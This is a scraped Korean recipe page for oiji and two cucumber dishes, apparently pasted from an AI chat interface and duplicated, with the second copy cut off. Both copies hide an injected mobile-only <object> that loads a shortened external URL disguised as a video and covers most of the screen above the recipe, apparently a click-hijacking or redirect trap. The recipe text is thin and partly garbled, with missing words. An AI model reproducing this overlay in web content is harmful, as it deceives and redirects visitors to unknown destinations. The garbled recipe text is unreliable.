기본 오이지 만드는 법 쉽게 오이지 만들기 오이 요리 2가지 오이 양념 무침

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">오이지 &amp; 오이 요리: 시원하고 상큼한 여름 별미</h2><p data-sourcepos="3:1-3:16"><strong>기본 오이지 만드는 법</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7d27fc484231dd84&quot;,&quot;c_4ebf45e1588392e5&quot;,null,&quot;rc_826ad91bbabe6e2e&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://t1.samwha27.com/entry/%EC%98%A4%EC%9D%B4%EC%9D%98-%ED%83%84%EC%83%9D-%EA%B1%B8%EC%9E%91-%EC%98%A4%EC%9D%B4%EC%A7%80-%EB%8B%AC%EC%9D%B8-%EB%90%98%EC%96%B4%EB%B3%B4%EC%9E%90"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="기본 오이지 만드는 과정 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ9Fxw_Qivrbr-9XBD_fkaMHPBfB04FMmBx4df3Co7u_n48od1Kjwq91Yp6sYKs"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://t1.samwha27.com/entry/%EC%98%A4%EC%9D%B4%EC%9D%98-%ED%83%84%EC%83%9D-%EA%B1%B8%EC%9E%91-%EC%98%A4%EC%9D%B4%EC%A7%80-%EB%8B%AC%EC%9D%B8-%EB%90%98%EC%96%B4%EB%B3%B4%EC%9E%90" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7d27fc484231dd84&quot;,&quot;c_4ebf45e1588392e5&quot;,null,&quot;rc_826ad91bbabe6e2e&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ1WmOSM8hfdSr-lcRq6eTZWr4OWWqV-KHHjWG8jIO4mB3C89fih9rg3OB08gDgzCDtmSBd3z8HkIA63NlCnAAE0jDbgnwHW3r0"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">t1.samwha27.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 기본 오이지 만드는 과정 </div></div></single-image></response-element></div></p><p data-sourcepos="7:1-7:36">오이지는 간단한 재료로 만들 수 있는 대표적인 여름 반찬이에요.</p><ul data-sourcepos="9:1-14:0"> <li data-sourcepos="9:1-9:28"><strong>재료:</strong> 오이, 소금, 간장, 식초, 설탕</li> <li data-sourcepos="10:1-14:0"><strong>만드는 법:</strong> <ol data-sourcepos="11:5-14:0"> <li data-sourcepos="11:5-11:25">오이를 소금에 절여 물기를 뺀다.</li> <li data-sourcepos="12:5-12:27">간장, 식초, 설탕을 넣고 버무린다.</li> <li data-sourcepos="13:5-14:0">통에 담아 냉장 보관한다.</li> </ol> </li> </ul><p data-sourcepos="15:1-15:14"><strong>쉽게 오이지 만들기</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7d27fc484231dd84&quot;,&quot;c_4ebf45e1588392e5&quot;,null,&quot;rc_826ad91bbabe6e2e&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6912141"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="쉽게 오이지 만드는 팁 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQ_T28sRanKN-t6N7e4rr2BrJUczQ_UMx8kQ1kWKi5nw58LgcAEgt5EfcJEeM7u"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6912141" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7d27fc484231dd84&quot;,&quot;c_4ebf45e1588392e5&quot;,null,&quot;rc_826ad91bbabe6e2e&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 쉽게 오이지 만드는 팁 </div></div></single-image></response-element></div></p><ul data-sourcepos="19:1-22:0"> <li data-sourcepos="19:1-19:24">오이를 얇게 채 썰면 더 빨리 절여진다.</li> <li data-sourcepos="20:1-20:29">절인 오이를 찬물에 헹궈주면 짠맛을 덜 수 있다.</li> <li data-sourcepos="21:1-22:0">설탕 대신 매실액을 넣어도 좋다.</li> </ul><p data-sourcepos="23:1-23:13"><strong>오이 요리 2가지</strong></p><p data-sourcepos="25:1-25:15"><strong>1. 오이 양념 무침</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7d27fc484231dd84&quot;,&quot;c_4ebf45e1588392e5&quot;,null,&quot;rc_826ad91bbabe6e2e&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6870256"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="오이 양념 무침 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQxGBHOfgQYQsMJcC3H0dc33KUo3Dv0aTAi4pny4tIl6bEvoF7VbEoF09BTxEDw"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6870256" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7d27fc484231dd84&quot;,&quot;c_4ebf45e1588392e5&quot;,null,&quot;rc_826ad91bbabe6e2e&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오이 양념 무침 </div></div></single-image></response-element></div></p><ul data-sourcepos="29:1-33:0"> <li data-sourcepos="29:1-29:41"><strong>재료:</strong> 오이, 양파, 고춧가루, 식초, 설탕, 간장, 다진 마늘</li> <li data-sourcepos="30:1-33:0"><strong>만드는 법:</strong> <ol data-sourcepos="31:5-33:0"> <li data-sourcepos="31:5-31:20">오이와 양파를 채 썬다.</li> <li data-sourcepos="32:5-33:0">양념 재료를 버무려 오이와 양파에 넣고 버무린다.</li> </ol> </li> </ul><p data-sourcepos="34:1-34:11"><strong>2. 오이냉국</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7d27fc484231dd84&quot;,&quot;c_4ebf45e1588392e5&quot;,null,&quot;rc_826ad91bbabe6e2e&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6871073"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="오이냉국 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQzKfjLT_sDvxUNs6QWrFV8zFB5Eqge4TSgfh9fXlEVGCa_Hq2Ro6Szni02e7yv"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6871073" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7d27fc484231dd84&quot;,&quot;c_4ebf45e1588392e5&quot;,null,&quot;rc_826ad91bbabe6e2e&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오이냉국 </div></div></single-image></response-element></div></p><ul data-sourcepos="38:1-43:0"> <li data-sourcepos="38:1-38:39"><strong>재료:</strong> 오이, 소면, 간장, 식초, 설탕, 다진 마늘, 소금</li> <li data-sourcepos="39:1-43:0"><strong>만드는 법:</strong> <ol data-sourcepos="40:5-43:0"> <li data-sourcepos="40:5-40:24">오이를 채 썰고 소면을 삶는다.</li> <li data-sourcepos="41:5-41:30">육수에 양념 재료를 넣고 끓인 후 식힌다.</li> <li data-sourcepos="42:5-43:0">삶은 소면과 채 썬 오이를 넣고 버무린다.</li> </ol> </li> </ul><p data-sourcepos="44:1-44:14"><strong>오이 요리 활용 팁</strong></p><ul data-sourcepos="46:1-49:0"> <li data-sourcepos="46:1-46:35">오이는 샌드위치, 샐러드 등 다양한 요리에 활용할 수 있다.</li> <li data-sourcepos="47:1-47:17">오이즙은 피부 미용에 좋다.</li> <li data-sourcepos="48:1-49:0">오이는 수분이 많아 갈증 해소에 좋다.</li> </ul><p data-sourcepos="50:1-50:58"><strong>더 다양한 오이 요리 레시피를 찾고 싶으시면, '만개의 레시피' 같은 요리 사이트를 참고해보세요.</strong></p><p data-sourcepos="52:1-52:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="54:1-54:36"><strong>#오이지 #오이요리 #오이무침 #오이냉국 #여름반찬 #집밥</strong></p><p data-sourcepos="56:1-56:8"><strong>[참고]</strong></p><ul data-sourcepos="57:1-59:0"> <li data-sourcepos="57:1-57:49">위 레시피는 기본적인 방법이며, 개인의 취향에 따라 재료나 양을 조절할 수 있습니다.</li> <li data-sourcepos="58:1-59:0">는 참고용이며, 실제 요리 결과와 다를 수 있습니다.</li> </ul><p data-sourcepos="60:1-60:11"><strong>[추가 정보]</strong></p><ul data-sourcepos="62:1-64:0"> <li data-sourcepos="62:1-62:60"><strong>오이의 :</strong> 비타민, 미네랄이 풍부하여 피부 미용, 소화 촉진, 혈압 조절 등에 도움을 줍니다.</li> <li data-sourcepos="63:1-64:0"><strong>오이 보관법:</strong> 냉장 보관 시 신문지에 싸서 보관하면 오래 신선하게 먹을 수 있습니다.</li> </ul><p data-sourcepos="65:1-65:56"><strong>[키워드]</strong> 오이, 오이지, 오이 요리, 레시피, 여름 반찬, 집밥, 요리, 음식, 건강, 식단</p><p data-sourcepos="67:1-67:11"><strong>[질문 예시]</strong></p><ul data-sourcepos="68:1-71:0"> <li data-sourcepos="68:1-68:23">오이지 칼국수 만드는 법을 알려주세요.</li> <li data-sourcepos="69:1-69:20">오이 피클 만드는 법이 궁금해요.</li> <li data-sourcepos="70:1-71:0">오이를 이용한 다이어트 식단을 추천해주세요.</li> </ul><p data-sourcepos="72:1-72:8"><strong>[주의]</strong></p><ul data-sourcepos="73:1-74:28"> <li data-sourcepos="73:1-73:52">위 정보는 일반적인 정보이며, 개인의 건강 상태나 알레르기 등을 고려하여 요리해야 합니다.</li> <li data-sourcepos="74:1-74:28">한 정보는 전문가와 상담하는 것이 좋습니다.</li> </ul></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">오이지 & 오이 요리: 시원하고 상큼한 여름 별미</h2><p data-sourcepos="3:1-3:16"><strong>기본 오이지 만드는 법</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7d27fc484231dd84","c_4ebf45e1588392e5",null,"rc_826ad91bbabe6e2e",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://t1.samwha27.com/entry/%EC%98%A4%EC%9D%B4%EC%9D%98-%ED%83%84%EC%83%9D-%EA%B1%B8%EC%9E%91-%EC%98%A4%EC%9D%B4%EC%A7%80-%EB%8B%AC%EC%9D%B8-%EB%90%98%EC%96%B4%EB%B3%B4%EC%9E%90"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="기본 오이지 만드는 과정 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ9Fxw_Qivrbr-9XBD_fkaMHPBfB04FMmBx4df3Co7u_n48od1Kjwq91Yp6sYKs"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://t1.samwha27.com/entry/%EC%98%A4%EC%9D%B4%EC%9D%98-%ED%83%84%EC%83%9D-%EA%B1%B8%EC%9E%91-%EC%98%A4%EC%9D%B4%EC%A7%80-%EB%8B%AC%EC%9D%B8-%EB%90%98%EC%96%B4%EB%B3%B4%EC%9E%90" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7d27fc484231dd84","c_4ebf45e1588392e5",null,"rc_826ad91bbabe6e2e",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ1WmOSM8hfdSr-lcRq6eTZWr4OWWqV-KHHjWG8jIO4mB3C89fih9rg3OB08gDgzCDtmSBd3z8HkIA63NlCnAAE0jDbgnwHW3r0"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">t1.samwha27.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 기본 오이지 만드는 과정 </div></div></single-image></response-element></div></p><p data-sourcepos="7:1-7:36">오이지는 간단한 재료로 만들 수 있는 대표적인 여름 반찬이에요.</p><ul data-sourcepos="9:1-14:0"> <li data-sourcepos="9:1-9:28"><strong>재료:</strong> 오이, 소금, 간장, 식초, 설탕</li> <li data-sourcepos="10:1-14:0"><strong>만드는 법:</strong> <ol data-sourcepos="11:5-14:0"> <li data-sourcepos="11:5-11:25">오이를 소금에 절여 물기를 뺀다.</li> <li data-sourcepos="12:5-12:27">간장, 식초, 설탕을 넣고 버무린다.</li> <li data-sourcepos="13:5-14:0">통에 담아 냉장 보관한다.</li> </ol> </li> </ul><p data-sourcepos="15:1-15:14"><strong>쉽게 오이지 만들기</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7d27fc484231dd84","c_4ebf45e1588392e5",null,"rc_826ad91bbabe6e2e",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6912141"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="쉽게 오이지 만드는 팁 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ_T28sRanKN-t6N7e4rr2BrJUczQ_UMx8kQ1kWKi5nw58LgcAEgt5EfcJEeM7u"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6912141" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7d27fc484231dd84","c_4ebf45e1588392e5",null,"rc_826ad91bbabe6e2e",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 쉽게 오이지 만드는 팁 </div></div></single-image></response-element></div></p><ul data-sourcepos="19:1-22:0"> <li data-sourcepos="19:1-19:24">오이를 얇게 채 썰면 더 빨리 절여진다.</li> <li data-sourcepos="20:1-20:29">절인 오이를 찬물에 헹궈주면 짠맛을 덜 수 있다.</li> <li data-sourcepos="21:1-22:0">설탕 대신 매실액을 넣어도 좋다.</li> </ul><p data-sourcepos="23:1-23:13"><strong>오이 요리 2가지</strong></p><p data-sourcepos="25:1-25:15"><strong>1. 오이 양념 무침</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7d27fc484231dd84","c_4ebf45e1588392e5",null,"rc_826ad91bbabe6e2e",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6870256"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="오이 양념 무침 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQxGBHOfgQYQsMJcC3H0dc33KUo3Dv0aTAi4pny4tIl6bEvoF7VbEoF09BTxEDw"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6870256" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7d27fc484231dd84","c_4ebf45e1588392e5",null,"rc_826ad91bbabe6e2e",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오이 양념 무침 </div></div></single-image></response-element></div></p><ul data-sourcepos="29:1-33:0"> <li data-sourcepos="29:1-29:41"><strong>재료:</strong> 오이, 양파, 고춧가루, 식초, 설탕, 간장, 다진 마늘</li> <li data-sourcepos="30:1-33:0"><strong>만드는 법:</strong> <ol data-sourcepos="31:5-33:0"> <li data-sourcepos="31:5-31:20">오이와 양파를 채 썬다.</li> <li data-sourcepos="32:5-33:0">양념 재료를 버무려 오이와 양파에 넣고 버무린다.</li> </ol> </li> </ul><p data-sourcepos="34:1-34:11"><strong>2. 오이냉국</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7d27fc484231dd84","c_4ebf45e1588392e5",null,"rc_826ad91bbabe6e2e",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6871073"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="오이냉국 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQzKfjLT_sDvxUNs6QWrFV8zFB5Eqge4TSgfh9fXlEVGCa_Hq2Ro6Szni02e7yv"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6871073" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7d27fc484231dd84","c_4ebf45e1588392e5",null,"rc_826ad91bbabe6e2e",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 오이냉국 </div></div></single-image></response-element></div></p><ul data-sourcepos="38:1-43:0"> <li data-sourcepos="38:1-38:39"><strong>재료:</strong> 오이, 소면, 간장, 식초, 설탕, 다진 마늘, 소금</li> <li data-sourcepos="39:1-43:0"><strong>만드는 법:</strong> <ol data-sourcepos="40:5-43:0"> <li data-sourcepos="40:5-40:24">오이를 채 썰고 소면을 삶는다.</li> <li data-sourcepos="41:5-41:30">육수에 양념 재료를 넣고 끓인 후 식힌다.</li> <li data-sourcepos="42:5-43:0">삶은 소면과 채 썬 오이를 넣고 버무린다.</li> </ol> </li> </ul><p data-sourcepos="44:1-44:14"><strong>오이 요리 활용 팁</strong></p><ul data-sourcepos="46:1-49:0"> <li data-sourcepos="46:1-46:35">오이는 샌드위치, 샐러드 등 다양한 요리에 활용할 수 있다.</li> <li data-sourcepos="47:1-47:17">오이즙은 피부 미용에 좋다.</li> <li data-sourcepos="48:1-49:0">오이는 수분이 많아 갈증 해소에 좋다.</li> </ul><p data-sourcepos="50:1-50:58"><strong>더 다양한 오이 요리 레시피를 찾고 싶으시면, '만개의 레시피' 같은 요리 사이트를 참고해보세요.</strong></p><p data-sourcepos="52:1-52:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="54:1-54:36"><strong>#오이지 #오이요리 #오이무침 #오이냉국 #여름반찬 #집밥</strong></p><p data-sourcepos="56:1-56:8"><strong>[참고]</strong></p><ul data-sourcepos="57:1-59:0"> <li data-sourcepos="57:1-57:49">위 레시피는 기본적인 방법이며, 개인의 취향에 따라 재료나 양을 조절할 수 있습니다.</li> <li data-sourcepos="58:1-59:0">는 참고용이며, 실제 요리 결과와 다를 수 있습니다.</li> </ul><p data-sourcepos="60:1-60:11"><strong>[추가 정보]</strong></p><ul data-sourcepos="62:1-64:0"> <li data-sourcepos="62:1-62:60"><strong>오이의 :</strong> 비타민, 미네랄이 풍부하여 피부 미용, 소화 촉진, 혈압 조절 등에 도움을 줍니다.</li> <li data-sourcepos="63:1-64:0"><strong>오이 보관법:</strong> 냉장 보관 시 신문지에 싸서 보관하면 오래 신선하게 먹을 수 있습니다.</li> </ul><p data-sourcepos="65:1-65:56"><strong>[키워드]</strong> 오이, 오이지, 오이 요리, 레시피, 여름 